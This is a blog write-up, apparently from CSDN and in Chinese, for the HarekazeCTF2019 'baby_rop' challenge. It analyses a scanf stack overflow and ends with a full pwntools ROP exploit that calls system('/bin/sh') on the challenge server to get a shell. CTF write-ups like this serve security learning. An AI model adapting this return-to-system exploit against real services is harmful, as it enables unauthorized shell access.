

[HarekazeCTF2019]baby_rop

原创

m0sway 于 2022-03-26 14:25:05 发布 106 收藏

分类专栏: [BUU-WP](#) 文章标签: [pwn python](#) [网络安全](#) [CTF](#) [WriteUP](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/m0sway/article/details/123755391>

版权



[BUU-WP](#) 专栏收录该内容

57 篇文章 0 订阅

订阅专栏

[HarekazeCTF2019]baby_rop

使用 `checksec` 查看:

```
# m0sway @ pro in ~/PWN/buu [14:20:42]
$ checksec \[HarekazeCTF2019\]baby_rop
[*] '/home/m0sway/PWN/buu/[HarekazeCTF2019]baby_rop'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
CSDN @m0sway
```

只开启了栈不可执行。

放进IDA中分析:

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
    char v4; // [rsp+0h] [rbp-10h]

    system("echo -n \"What's your name? \");
    __isoc99_scanf("%s", &v4);
    printf("Welcome to the Pwn World, %s!\n", &v4);
    return 0;
}
```

- `system("echo -n \"What's your name? \");`: `system()`可用
- `__isoc99_scanf("%s", &v4);`: 存在栈溢出

查看字符串:

Address	Length	Type	String
LOAD:000... 0000001C	0000001C	C	/lib64/ld-linux-x86-64.so.2
LOAD:000... 0000000A	0000000A	C	libc.so.6
LOAD:000... 0000000F	0000000F	C	__isoc99_scanf
LOAD:000... 00000007	00000007	C	printf
LOAD:000... 00000007	00000007	C	system
LOAD:000... 00000012	00000012	C	__libc_start_main
LOAD:000... 0000000F	0000000F	C	__gmon_start__
LOAD:000... 0000000A	0000000A	C	GLIBC_2.7
LOAD:000... 0000000C	0000000C	C	GLIBC_2.2.5
.rodata:... 0000001D	0000001D	C	echo -n \"What's your name? \"
.rodata:... 0000001F	0000001F	C	Welcome to the Pwn World, %s!\n
.eh_fram... 00000006	00000006	C	;*3\$\"
.data:00... 00000008	00000008	C	/bin/sh CSDN @m0sway

- 存在 `/bin/sh` 字符串

题目思路

- 利用栈溢出覆盖返回地址为 `system@PLT`
- 传入 `system()` 的参数 `/bin/sh`
- 即可getshell

步骤解析

无需

完整exp

```
from pwn import *

#start
r = remote("node4.buuoj.cn", 26718)
# r = process("../buu/[HarekazeCTF2019]baby_rop")
elf = ELF("../buu/[HarekazeCTF2019]baby_rop")

#params
rdi_addr = 0x400683
bin_sh_addr = 0x601048
system_addr = elf.symbols['system']

#attack
payload=b'M'*0x18 + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
r.sendline(payload)

r.interactive()
```